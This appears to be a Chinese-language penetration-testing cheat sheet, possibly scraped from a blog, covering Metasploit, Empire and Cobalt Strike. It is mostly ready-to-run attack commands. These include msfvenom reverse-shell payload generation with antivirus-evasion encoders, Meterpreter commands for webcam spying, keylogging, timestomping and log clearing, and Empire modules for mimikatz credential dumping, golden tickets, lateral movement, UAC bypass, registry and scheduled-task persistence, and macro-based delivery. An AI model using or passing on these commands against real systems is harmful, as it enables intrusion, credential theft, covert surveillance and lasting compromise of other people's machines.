相关文章推荐
魁梧的灭火器  ·  Kali | Offecct·  2 年前    · 
魁梧的灭火器  ·  Kali – Hollywood - a ...·  2 年前    · 
魁梧的灭火器  ·  黑客软件LetMeSpy ...·  2 年前    · 
魁梧的灭火器  ·  防黑客軟件·  2 年前    · 

Metasploit

>systemctl start postgresql.service 启动数据库服务
>msfdb init 初始化数据库
>msfconsole进入MSF框架
>search  ms17-010 查找攻击模块
>use exploit/windows/smb/ms17_010_eternalblue 使用模块 
>set payload windows/x64/meterpreter/reverse_tcp 设置载荷
>info 查看信息
>show options查看需要设置的参数
>set RHOST 192.168.125.138设置参数
>exploit 执行攻击模块
>back 回退
>handler -H 192.168.0.10 -P 3333 -p windows/x64/meterpreter/reverse_tcp快速监听
>setg 设置全局参数
>set autorunscript migrate –f 自动迁移进程
>set autorunscript migrate -n explorer.exe
>set AutoRunScript post/windows/manage/migrate
>set prependmigrate true 自动注入进程
>set prependmigrateProc svchost.exe
>set exitonsession false获取到session后继续监听,获得多个session
>set stagerverifysslcert false 防止出现ssl错误
>set SessionCommunicationTimeout 0 防止session超时退出
>set SessionExpirationTimeout 0 防止强制关闭session
>exploit -j -z  后台持续监听
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -e x86/shikata_ga_nai -b "x00" -i 5 -a x86 --platform windows PrependMigrate=true PrependMigrateProc=explorer.exe -f exe -o  1.exe 执行后注入到已存在的一个进程
>set EnableStageEncoding true
>set stageencoder x86/fnstenv_mov 编码进行免杀
>set stageencodingfallback false

Auxiliary

>show auxiliary 查看所有模块

Payload

>show payloads 查看所有攻击载荷
Payload是目标被攻击时执行的实际功能代码
>use exploit/multi/script/web_delivery
>set target 2
>msfvenom --list payloads 列出所有payload
>msfvenom --list encoders 列出所有编码器
Windows
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe -o /root/1.exe
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o 1.exe
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f psh-reflection >xxx.ps1
>msfvenom -a x64 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
>msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.0.1 LPORT=11111  -f exe> /root/1.exe  生成NC正向连接
>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe> 1.exe 生成NC反向连接
Linux
>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e -f elf -a x86 --platform linux -o shell
>msfvenom -p cmd/unix/reverse_bash LHOST=192.168.0.1 LPORT=11111 -f raw > shell.sh
MacOS
>msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f macho > shell.macho
>msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.php
>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f war > shell.war
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f aspx -o payload.aspx
>msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.jsp
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f asp > shell.asp
Android
>msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f apk -o payload.apk
>msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 -f raw > shell.apk
>msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 R > test.apk
shellcode
>msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.1 LPORT=11111 -f c –o /root/1.c
>msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.1 LPORT=11111 -o shell.py
>msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.py
>msfvenom -p cmd/unix/reverse_perl LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.pl
>msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.rb
>msfvenom -p cmd/unix/reverse_lua LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.lua
msf设置监听
>use exploit/multi/handler
>set payloadwindows/meterpreter/reverse_http 指定相应的payload
>set LHOST 192.168.0.1
>set LPORT 11111
>exploit -j 后台监听
或在exploit模块中直接使用set payload 命令指定payload

Meterpreter

当攻击成功后会返回会话,使用session -l命令列出当前获取到的会话
>session -l
>sessions -i id 来进入一个会话进行交互
>background 将当前会话放置后台
>sessions -x检查心跳
>sessions -u [ID] cmdshell升级meterpreter shell
提权详见提权模块
>shell 进入目标cmdshell
>uictl [enable/disable] [keyboard/mouse/all]  开启或禁止键盘/鼠标
>uictl disable mouse  禁用鼠标
>uictl disable keyboard  禁用键盘
>webcam_list   查看摄像头
>webcam_snap   通过摄像头拍照
>webcam_stream  通过摄像头开启视频
>execute -H -i -f cmd.exe 执行cmd.exe,-H不可见,-i交互 
>execute -H -m -d calc.exe -f wce.exe -a "-o 1.txt" 隐藏执行
>ps查看当前活跃进程
>migrate pid     迁移进程
>kill pid   #杀死进程
>pwd 查看当前目录
>ls 列出当前目录文件
>search -f *pass*        搜索文件
>cat c:\\passwd.txt   查看文件内容
>upload /tmp/pwn.txt C:\\1.txt   上传文件
>download c:\\passwd.txt /tmp/  下载文件
>edit c:\\1.txt  编辑或创建文件
>rm C:\\1.txt 删除文件
>mkdir folder  创建文件夹
>rmdir folder  删除文件夹
>lcd /tmp   #攻击者主机 切换目录
>timestomp -v C://2.txt   #查看时间戳
>timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

后渗透&权限维持

路由添加,socks建立,后门建立等查看
查看后门&持久化板块
#clearev 

MSF派生Cobalt strike和Empire

派生Empire

Empire创建一个Listener
创建一个stager选择windows/dll
MSF使用
>use post/windows/manage/reflective_dll_inject 
指定session,dll的路径,进程pid

派生Cobalt Strike

cobalt 开启一个监听器windows/beacon_http/reverse_http
>use exploit/windows/manage/payload_inject
指定IP、端口、payload即可

Empire

>git clone https://github.com/EmpireProject/Empire.git
>d Empire/setup
>./install.sh
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners) > info 查看参数信息
(Empire: listeners/http) > set Name y
(Empire: listeners/http) > set Host http://192.168.0.1
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > execute
>back命令返回listeners模块
>list查看已激活的listener
>kill http删除监听
(Empire: listeners) > usestager windows/launcher_vbs (双击tab键查看所有模块)
(Empire: stager/windows/launcher_vbs) > info
必须设置listener的名字,可设置生成位置
(Empire: stager/windows/launcher_vbs) > set Listener y
(Empire: stager/windows/launcher_vbs) > execute
可生成vbs,靶机执行即可上线。
使用launcher命令直接生成powershell或python脚本
>launcher powershell Listener-Name
使用rename对agents更名
>rename 6NMCW4ZB target1
使用main命令放回主菜单
>list stale 列出失去权限的机器
>remove stale 去除失去权限的机器

连接靶机及其他操作

>interact target1 连接
>agent 返回靶机列表
>back 返回上一层
>shell net user 1 1 /add 执行系统目录格式
>mimikazt 加载模块获取密码
>creds 整理获取的密码,creds export /root/1.txt 保存密码,creds hash/plaintext,显示格式
>sc 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>download c:\pass.txt 下载靶机文件到本机
>upload hacked.txt c:\hacked.txt 上传本机文件到靶机
>agents 列表中Username没有星号则需要提权
>bypassuac listener需指定一个监听器 提权
>usemodule privesc/ms16-032需指定一个监听器 提权
>usemodule privesc/powerup/allchecks执行所有脚本检查漏洞
查询域管登录机器
>usemodule situational_awareness/network/powerview/user_hunter
>mimikatz
>creds  获取并整理hash及密码
>pth {ID}窃取管理员令牌
>steal_token {PID}
>ps 查看进程
>usemodule management/psinject 设置ProcIP和Listener

Hash传递

Invoke-PsExec可能会被查杀
>usemodule situational_awareness/network/powerview/find_localadmin_access 列出可PSexec横向移动的机器
>usemodule lateral_movement/invoke_psexec需设置ComputerName和Listener
>usemodule lateral_movement/invoke_wmi需设置ComputerName和Listener,credID
父域域控:dc.zone.com
子域域控:sub.zone.com
子域计算机:pc.sub.zone.com
子域普通用户:sub\user1
查看信任关系
>usemodule situational_awareness/network/powerview/get_domain_trust
获取父域krbtgt SID,使用management/user_to_sid获取sid
需设置Domain和User=krbtgt
>usemodule credentials/mimikatz/dcsync 设置UserName 子域\krbtgt 获取子域hash
>usemodule credentials/mimikatz/golden_ticket 伪造sid 
需设置User为伪造用户 sids伪造的标识符{krbtgt sid}-519
>usemodule credentials/mimikatz/dcsync 获取父域krbtgt的hash
>usemodule credentials/mimikatz/golden_ticket 使用父域krbtgt进行PTH攻击,指定父域CredID,用户名和域
>shell dir \\dc.zone.com\c$

后门&持久化

>usemodule lateral_movement/invoke_wmi_debugger
设置Listener,ComputerName(大写),TargetBinary(sethc.exe, Utilman.exe, osk.exe, Narrator.exe, Magnify.exe),分别是粘滞键,轻松访问,屏幕键盘,讲述人,放大镜。

注入注册表启动项

>usemodule persistence/elevated/registry*
设置Listener,注册表路径RegPath [HKLM\software\microsoft\windows\currentversion\run]
>usemodule persistence/elevated/schtasks*
设置Listener和DailyTime
>usemodule persistence/elevated/wmi
设置Listener

注入SSP

查看SSP章节

Collection(信息采集)

| 模块名  | 功能  |
| ------------ | ------------ |
|  collection/ChromeDump | 收集chrome浏览器保存的密码和浏览历史记录  |
|  collection/FoxDump |  收集Firefox浏览器保存的密码和浏览历史记录 |
| collection/USBKeylogger*  |  利用ETW作为键盘记录 |
| collection/WebcamRecorder  |  从摄像头捕获视频 |
| collection/browser_data  | 搜索浏览器历史记录或书签  |
|  collection/clipboard_monitor |按指定的时间间隔监视剪贴板   |
| collection/file_finder  |  查找域中的敏感文件 |
|collection/find_interesting_file   |  查找域中的敏感文件 |
| collection/get_indexed_item  |获取Windows desktop search索引文件   |
|collection/get_sql_column_sample_data   | 从目标SQL Server返回列信息。  |
| collection/get_sql_query  |  在目标SQL服务器上执行查询 |
|collection/inveigh   |Windows PowerShell LLMNR/mDNS/NBNS中间人工具   |
|collection/keylogger   | 键盘记录到keystrokes.txt文件中,文件位置/downloads/agentname/keystrokes.txt/agentname  |
|collection/minidump  | 进程的全内存转储,PowerSploit的Out-Minidump.ps1  |
| collection/netripper  |将NetRipper注入目标进程,该进程使用API挂钩以拦截来自低特权用户的网络流量和与加密相关的功能,从而能够在加密之前/解密之后捕获纯文本流量和加密流量。   |
|collection/ninjacopy*   |通过读取原始卷并解析NTFS结构,从NTFS分区卷中复制文件。   |
|collection/packet_capture*   |使用netsh在主机上启动数据包捕获。   |
|collection/prompt   |提示当前用户在表单框中输入其凭据,然后返回结果。   |
|collection/screenshot   |屏幕截图   |
|collection/vaults/add_keepass_config_trigger   | 寻找KeePass配置  |
|collection/vaults/find_keepass_config  |此模块查找并解析KeePass.config.xml (2.X)和KeePass.config.xml (1.X)文件。   |
|collection/vaults/get_keepass_config_trigger   |该模块从KeePass 2.X配置XML文件中提取触发器说明   |
|collection/vaults/keethief   |此模块检索未锁定的KeePass数据库的database mastey key信息   |
|collection/vaults/remove_keepass_config_trigger   | 该模块从Find-KeePassConfig找到的所有KeePass配置中删除所有触发器  |
>usemodule collection/ tab补齐查看模块
>usemodule collection/screenshot 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>usemodule collection/keylogger 键盘记录,文件存储在./Empire/download/agent名字/agent.log
>usemodule situational_awareness/host/winenum 查看当前用户、AD组、剪切板内容、系统版本、共享、网络信息、防火墙规则
>usemodule situational_awareness/network/powerview/share_finder 列出域内所有共享
>usemodule situational_awareness/network/arpscan 
>set Range 192.168.0.1-192.168.0.100 ARP扫描,需设置扫描网段区间
>usemodule situational_awareness/network/portscan 
>set Hosts 192.168.0.1-192.168.0.100 端口扫描,需设置IP或IP段
>usemodule situational_awareness/network/reverse_dns DNS信息,需设置IP
>set Range 192.168.0.1-192.168.0.100
>usemodule situational_awareness/network/powerview/get_domain_controller 查找域控

Code_execution(代码执行)

|模块名   |功能   |
| ------------ | ------------ |
|code_execution/invoke_dllinjection   |使用PowerSploit的Invoke-DLLInjection将Dll注入您选择的进程ID。   |
|code_execution/invoke_metasploitpayload   |生成一个新的隐藏PowerShell窗口,该窗口下载并执行Metasploit Payload。这与Metasploit模块theexploit/multi/scripts/web_delivery互动   |
| code_execution/invoke_ntsd  |使用NT Symbolic Debugger执行Empire launcher代码   |
|code_execution/invoke_reflectivepeinjection   |使用PowerSploit的Invoke-ReflectivePEInjection进行反射PE注入,将DLL/EXE加载进PowerShell进程中,或者将DLL加载进远程进程中   |
| code_execution/invoke_shellcode  |使用PowerSploit的Invoke--Shellcode注入Shellcode   |
|code_execution/invoke_shellcodemsil   |执行shellcode   |

Credentials(身份凭证)

|模块名   |功能   |
| ------------ | ------------ |
| credentials/credential_injection*  |运行PowerSploit的Invoke-CredentialInjection创建具有明文凭证的登录,而不会触发事件ID 4648使用显式凭据尝试登录   |
|credentials/enum_cred_store   |从Windows凭据管理器中转储当前交互用户的纯文本凭据   |
|credentials/invoke_kerberoast   |为具有非空服务主体名称(SPN)的所有用户请求kerberos票据,并将其提取为John或Hashcat可用格式   |
|credentials/powerdump*   | 使用Posh-SecMod的Invoke-PowerDump从本地系统中转储哈希  |
|credentials/sessiongopher   | 提取WinSCP已保存的会话和密码  |
|credentials/tokens   |运行PowerSploit的Invoke-TokenManipulation枚举可用的登录令牌,并使用它们创建新的进程   |
|credentials/vault_credential*   |运行PowerSploit的Get-VaultCredential以显示Windows Vault凭证对象,包括明文Web凭证   |
|credentials/mimikatz/cache*  |运行PowerSploit的Invoke-Mimikatz函数以提取MSCache(v2) hashes   |
|credentials/mimikatz/certs*   | 运行PowerSploit的Invoke-Mimikatz函数将所有证书提取到本地目录  |
|credentials/mimikatz/command*   |使用自定义命令运行PowerSploit的Invoke-Mimikatz函数   |
|credentials/mimikatz/dcsync   |运行PowerSploit的Invoke-Mimikatz函数,以通过Mimikatz的lsadump::dcsync模块提取给定的帐户密码  |
|credentials/mimikatz/dcsync_hashdump   |运行PowerSploit的Invoke-Mimikatz函数,以使用Mimikatz的lsadump::dcsync模块收集所有域哈希   |
|credentials/mimikatz/extract_tickets   |运行PowerSploit的Invoke-Mimikatz函数,以base64编码形式从内存中提取kerberos票据   |
|credentials/mimikatz/golden_ticket   |运行PowerSploit的Invoke-Mimikatz函数以生成黄金票据并将其注入内存   |
|credentials/mimikatz/keys*   |运行PowerSploit的Invoke-Mimikatz函数以将所有密钥提取到本地目录   |
|credentials/mimikatz/logonpasswords*   |运行PowerSploit的Invoke-Mimikatz函数以从内存中提取纯文本凭据。   |
|credentials/mimikatz/lsadump*   |运行PowerSploit的Invoke-Mimikatz函数以从内存中提取特定的用户哈希。 在域控制器上很有用。   |
|credentials/mimikatz/mimitokens*   |运行PowerSploit的Invoke-Mimikatz函数以列出或枚举令牌。   |
|credentials/mimikatz/pth*   |运行PowerSploit的Invoke-Mimikatz函数以执行sekurlsa::pth来创建一个新进程。   |
|credentials/mimikatz/purge   |运行PowerSploit的Invoke-Mimikatz函数从内存中清除所有当前的kerberos票据   |
|credentials/mimikatz/sam*   |运行PowerSploit的Invoke-Mimikatz函数从安全帐户管理器(SAM)数据库中提取哈希   |
|credentials/mimikatz/silver_ticket   |运行PowerSploit的Invoke-Mimikatz函数,以生成服务器/服务的白银票据并将其注入内存。   |
|credentials/mimikatz/trust_keys*   |运行PowerSploit的Invoke-Mimikatz函数,从域控制器中提取域信任密钥。   |

Exfiltration(数据窃取)

|模块名   |功能   |
| ------------ | ------------ |
| exfiltration/egresscheck  |可用于帮助检查主机与客户端系统之间的出口,详细信息:https://github.com/stufus/egresscheck-framework   |
|exfiltration/exfil_dropbox   |下载文件到dropbox   |

Exploitation(漏洞利用EXP)

|模块名   |功能   |
| ------------ | ------------ |
|exploitation/exploit_eternalblue   |MS17_010永恒之蓝漏洞利用   |
|exploitation/exploit_jboss   |Jboss漏洞利用   |
|exploitation/exploit_jenkins   |在未授权访问的Jenkins脚本控制台上运行命令   |

Lateral_movement(横向移动)

| 模块名  | 功能  |
| ------------ | ------------ |
|lateral_movement/inveigh_relay   | smb中继攻击  |
|lateral_movement/invoke_dcom   |使用DCOM在远程主机上执行stager   |
|lateral_movement/invoke_executemsbuild   | 该模块利用WMI和MSBuild编译并执行一个包含Empire launcher的xml文件。  |
|lateral_movement/invoke_psexec   | PsExec横向移动  |
|lateral_movement/invoke_psremoting   |远程PowerShell横向移动   |
|lateral_movement/invoke_smbexec   |SMBExec横向移动   |
|lateral_movement/invoke_sqloscmd   | 利用xp_cmdshell横向移动  |
|lateral_movement/invoke_sshcommand   |利用SSH横向移动   |
|lateral_movement/invoke_wmi   |利用WMI横向移动   |
|lateral_movement/invoke_wmi_debugger   |使用WMI将远程机器上的二进制文件的调试器设置为cmd.exe或stager   |
|lateral_movement/jenkins_script_console   |利用未授权访问的Jenkins脚本控制台横向移动   |
|lateral_movement/new_gpo_immediate_task   |利用GPO中的计划任务横向移动   |

Management(管理)

|模块名   |功能   |
| ------------ | ------------ |
|management/enable_rdp*   |在远程计算机上启用RDP并添加防火墙例外。   |
|management/disable_rdp*   |在远程计算机上禁用RDP   |
|management/downgrade_account   |在给定的域帐户上设置可逆加密,然后强制下次用户登录时设置密码。   |
|management/enable_multi_rdp*   |允许多个用户建立同时的RDP连接。   |
|management/get_domain_sid   |返回当前指定域的SID   |
|management/honeyhash*   | 将人工凭证注入到LSASS  |
|management/invoke_script   |运行自定义脚本   |
|management/lock   |锁定工作站的显示   |
|management/logoff   | 从计算机上注销当前用户(或所有用户)  |
|management/psinject   |利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码   |
|management/reflective_inject   |利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码   |
|management/restart   |重新启动指定的机器   |
|management/runas   |绕过GPO路径限制   |
|management/shinject   |将PIC Shellcode Payload注入目标进程   |
|management/sid_to_user   |将指定的域sid转换为用户   |
|management/spawn   |在新的powershell.exe进程中生成新agent   |
|management/spawnas   |使用指定的登录凭据生成agent   |
|management/switch_listener  | 切换listener  |
|management/timestomp   |通过'调用Set-MacAttribute执行类似耗时的功能   |
|management/user_to_sid   | 将指定的domain\user转换为domain sid  |
|management/vnc   | Invoke-Vnc在内存中执行VNC代理并启动反向连接  |
|management/wdigest_downgrade*   |将计算机上的wdigest设置为使用显式凭据   |
|management/zipfolder  |压缩目标文件夹以供以后渗透   |
|management/mailraider/disable_security   |此函数检查ObjectModelGuard   |
|management/mailraider/get_emailitems   |返回指定文件夹的所有项目   |
|management/mailraider/get_subfolders  |返回指定顶级文件夹中所有文件夹的列表   |
|management/mailraider/mail_search  |在给定的Outlook文件夹中搜索项目   |
|management/mailraider/search_gal  |返回与指定搜索条件匹配的所有exchange users   |
|management/mailraider/send_mail   |使用自定义或默认模板将电子邮件发送到指定地址。   |
|management/mailraider/view_email   |选择指定的文件夹,然后在指定的索引处输出电子邮件项目   |

Persistence(持久化)

| 模块名  |功能   |
| ------------ | ------------ |
|persistence/elevated/registry*   |计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本   |
|persistence/elevated/schtasks*   |计划任务持久化   |
|persistence/elevated/wmi*   | WMI事件订阅持久化  |
|persistence/elevated/wmi_updater*   |WMI订阅持久化   |
|persistence/misc/add_netuser   |将域用户或本地用户添加到当前(或远程)计算机   |
|persistence/misc/add_sid_history*   |运行PowerSploit的Invoke-Mimikatz函数以执行misc::addsid以添加用户的sid历史记录。 仅适用于域控制器   |
|persistence/misc/debugger*  | 将指定目标二进制文件的调试器设置为cmd.exe  |
|persistence/misc/disable_machine_acct_change*   |禁止目标系统的机器帐户自动更改其密码   |
|persistence/misc/get_ssps   |枚举所有已加载的安全软件包  |
|persistence/misc/install_ssp*  |安装安全支持提供程序dll   |
|persistence/misc/memssp*   |运行PowerSploit的Invoke-Mimikatz函数以执行misc::memssp,将所有身份验证事件记录到C:\Windows\System32\mimisla.log   |
|persistence/misc/skeleton_key*   |运行PowerSploit的Invoke-Mimikatz函数来执行misc::skeleton,植入密码mimikatz的万能钥匙。 仅适用于域控制器   |
|persistence/powerbreach/deaduser   |DeadUserBackdoor后门,详细信息:http://www.sixdub.net/?p=535 |
|persistence/powerbreach/eventlog*  | 启动事件循环后门  |
|persistence/powerbreach/resolver   | 启动解析器后门  |
|persistence/userland/backdoor_lnk   |LNK文件后门   |
|persistence/userland/registry  | 计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本  |
|persistence/userland/schtasks  | 计划任务持久化  |

Privesc(权限提升)

|模块名   | 功能  |
| ------------ | ------------ |
|privesc/ask   |弹出一个对话框,询问用户是否要以管理员身份运行powershell   |
|privesc/bypassuac   |UAC bypass   |
|privesc/bypassuac_env   | UAC bypass  |
|privesc/bypassuac_eventvwr   | UAC bypass  |
|privesc/bypassuac_fodhelper   |  UAC bypass |
|privesc/bypassuac_sdctlbypass   |UAC bypass   |
|privesc/bypassuac_tokenmanipulation   | UAC bypass  |
|privesc/bypassuac_wscript   | UAC bypass  |
|privesc/getsystem*  | 获取system特权  |
|privesc/gpp  |利用windows组策略首选项缺陷获取系统帐号   |
|privesc/mcafee_sitelist   |寻找McAfee SiteList.xml文件的纯文本密码   |
|privesc/ms16-032   |MS16-032本地提权   |
|privesc/ms16-135   | MS16-135本地提权  |
|privesc/tater   |利用PowerShell实现的Hot Potato提权   |
|privesc/powerup/allchecks   |检查目标主机的攻击向量以进行权限提升   |
|privesc/powerup/find_dllhijack   |查找通用的.DLL劫持   |
|privesc/powerup/service_exe_restore   | 还原备份的服务二进制文件  |
|privesc/powerup/service_exe_stager  | 备份服务的二进制文件,并用启动stager.bat的二进制文件替换原始文件  |
|privesc/powerup/service_exe_useradd   |修改目标服务以创建本地用户并将其添加到本地管理员   |
|privesc/powerup/service_stager   |修改目标服务以执行Empire stager   |
|privesc/powerup/service_useradd   | 修改目标服务以创建本地用户并将其添加到本地管理员 |
|privesc/powerup/write_dllhijacker  |将可劫持的.dll以及.dll调用的stager.bat一起写到指定路径。 wlbsctrl.dll在Windows 7上运行良好。需要重新启动计算机   |

Recon(侦察)

|模块名   | 功能  |
| ------------ | ------------ |
|recon/find_fruit   | 在网络范围内搜索潜在的易受攻击的Web服务  |
|recon/get_sql_server_login_default_pw   |发现在当前广播域之内的SQL Server实例   |
|recon/http_login   | 针对基本身份验证测试凭据  |

Situational_awareness(态势感知)

| 模块名  |   |
| ------------ | ------------ |
|situational_awareness/host/antivirusproduct   | 获取防病毒产品信息  |
|situational_awareness/host/computerdetails*   | 枚举有关系统的有用信息  |
|situational_awareness/host/dnsserver  |枚举系统使用的DNS服务器   |
|situational_awareness/host/findtrusteddocuments   | 该模块将枚举适当的注册表  |
|situational_awareness/host/get_pathacl  | 枚举给定文件路径的ACL  |
|situational_awareness/host/get_proxy  |枚举当前用户的代理服务器和WPAD内容   |
|situational_awareness/host/get_uaclevel  | 枚举UAC级别  |
|situational_awareness/host/monitortcpconnections   |监视主机与指定域名或IPv4地址的TCP连接,对于会话劫持和查找与敏感服务进行交互的用户很有用 
|situational_awareness/host/paranoia*   |持续检查运行过程中是否存在可疑用户   |
|situational_awareness/host/winenum   |收集有关主机和当前用户上下文的相关信息   |
|situational_awareness/network/arpscan   |针对给定范围的IPv4 IP地址执行ARP扫描   |
|situational_awareness/network/bloodhound   |执行BloodHound数据收集   |
|situational_awareness/network/get_exploitable_system   |查询Active Directory以查找可能容易受到Metasploit Exploit的系统   |
|situational_awareness/network/get_spn   | 获取服务主体名称(SPN)  |
|situational_awareness/network/get_sql_instance_domain   |返回SQL Server实例列表   |
|situational_awareness/network/get_sql_server_info  |  从目标SQL Server返回基本服务器和用户信息 |
|situational_awareness/network/portscan  | 使用常规套接字进行简单的端口扫描  |
|situational_awareness/network/reverse_dns   |  执行给定IPv4 IP范围的DNS反向查找 |
|situational_awareness/network/smbautobrute  |针对用户名/密码列表运行SMB暴力破解   |
|situational_awareness/network/smbscanner   |  在多台机器上测试用户名/密码组合 |
|situational_awareness/network/powerview/find_foreign_group   | 枚举给定域的组的所有成员,并查找不在查询域中的用户  |
|situational_awareness/network/powerview/find_foreign_user   |枚举在其主域之外的组中的用户   |
|situational_awareness/network/powerview/find_gpo_computer_admin   | 获取计算机(或GPO)对象,并确定哪些用户/组对该对象具有管理访问权限  |
|situational_awareness/network/powerview/find_gpo_location   | 获取用户名或组名,并确定其具有通过GPO进行管理访问的计算机  |
|situational_awareness/network/powerview/find_localadmin_access   |在当前用户具有“本地管理员”访问权限的本地域上查找计算机   |
|situational_awareness/network/powerview/find_managed_security_group   |此功能检索域中的所有安全组   |
|situational_awareness/network/powerview/get_cached_rdpconnection   | 使用远程注册表功能来查询计算机上“ Windows远程桌面连接客户端”的所有信息  |
|situational_awareness/network/powerview/get_computer   |查询当前计算机对象的域   |
|situational_awareness/network/powerview/get_dfs_share   | 返回给定域的所有容错分布式文件系统的列表  |
|situational_awareness/network/powerview/get_domain_controller   |返回当前域或指定域的域控制器   |
|situational_awareness/network/powerview/get_domain_policy   |返回给定域或域控制器的默认域或DC策略   |
|situational_awareness/network/powerview/get_domain_trust   |返回当前域或指定域的所有域信任   |
|situational_awareness/network/powerview/get_fileserver   | 返回从用户主目录提取的所有文件服务器的列表  |
|situational_awareness/network/powerview/get_forest   |返回有关给定域森林的信息  |
|situational_awareness/network/powerview/get_forest_domain  |返回给定林的所有域   |
|situational_awareness/network/powerview/get_gpo   |获取域中所有当前GPO的列表   |
|situational_awareness/network/powerview/get_group   | 获取域中所有当前组的列表  |
|situational_awareness/network/powerview/get_group_member   | 返回给定组的成员  |
|situational_awareness/network/powerview/get_localgroup   | 返回本地或远程计算机上指定本地组中所有当前用户的列表  |
|situational_awareness/network/powerview/get_loggedon   |执行NetWkstaUserEnum Win32API调用以查询主动登录主机的用户   |
|situational_awareness/network/powerview/get_object_acl  | 返回与特定活动目录对象关联的ACL  |
|situational_awareness/network/powerview/get_ou   |  获取域中所有当前OU的列表 |
|situational_awareness/network/powerview/get_rdp_session   | 在给定的RDP远程服务中查询活动会话和原始IP  |
|situational_awareness/network/powerview/get_session   | 执行NetSessionEnum Win32API调用以查询主机上的活动会话  |
|situational_awareness/network/powerview/get_site   |获取域中所有当前站点的列表   |
|situational_awareness/network/powerview/get_subnet   | 获取域中所有当前子网的列表  |
|situational_awareness/network/powerview/get_user  |查询给定用户或指定域中用户的信息   |
|situational_awareness/network/powerview/map_domain_trust|使用.CSV输出映射所有可访问的域信任   |
|situational_awareness/network/powerview/process_hunter  |查询远程机器的进程列表   |
|situational_awareness/network/powerview/set_ad_object   |使用SID,名称或SamAccountName来查询指定的域对象   |
|situational_awareness/network/powerview/share_finder   |在域中的计算机上查找共享   |
|situational_awareness/network/powerview/user_hunter   |查找指定组的用户登录的机器   |

Trollsploit(恶作剧)

|模块名   |功能   |
| ------------ | ------------ |
|trollsploit/get_schwifty   |播放Schwifty视频,同时把计算机音量设置最大   |
|trollsploit/message   |发送一个消息框   |
|trollsploit/process_killer   |终止以特定名称开头的任何进程   |
|trollsploit/rick_ascii   |生成一个新的powershell.exe进程运行Lee Holmes' ASCII Rick Roll   |
|trollsploit/rick_astley   |运行SadProcessor's beeping rickroll   |
|trollsploit/thunderstruck   |播放Thunderstruck视频,同时把计算机音量设置最大   |
|trollsploit/voicetroll   |通过目标上的合成语音朗读文本   |
|trollsploit/wallpaper   |将.jpg图片上传到目标机器并将其设置为桌面壁纸   |
|trollsploit/wlmdr   |在任务栏中显示气球提示   |

Empire Word

>usestager windows/launcher_bat生成bat木马,设置Listener
Word/Excel->插入->对象->由文件创建,选择bat,显示为图标,修改图标
Macro
>usestager windows/macro 设置Listener
Word/Excel->试图->宏->创建,复制macro进去

Empire派生Cobalt Strike和MSF

派生MSF

可绕过杀软
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http
>use exploit/multi/handler
>set payloadwindows/meterpreter/reverse_http
>set Lhost 192.168.31.247
>set lport 4444
或Empire
>usemodule code_execution/invoke_metasploitpayload
>set URL http://SRVHOST:SRVPORT
#use exploit/multi/script/web_delivery
#set payload windows/x64/meterpreter/reverse_tcp
设置SRVHOST SRVPORT

派生Cobalt Strike

创建监听器/windows/beacon_http/reverse_http 设置端口和主机
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http

Cobalt Strike

需要JDK环境
>tar -xzvf jdk-8u191-linux-x64.tar.gz

部署TeamServer

>./teamserver 192.168.0.107 123456
格式是外网IP和密码
New Connection:新建连接
Preferences:设置外观
Visualization:查看主机的不同形式
VPN Interfaces: VPN接口
Listeners:监听器
Script Interfaces:查看和加载CNA脚本
Close:关闭CS
Cobalt Strike -> Listeners点击Add
Beacon为CS内部监听器。
Foreign一般与MSF结合使用。
系统架构的支持

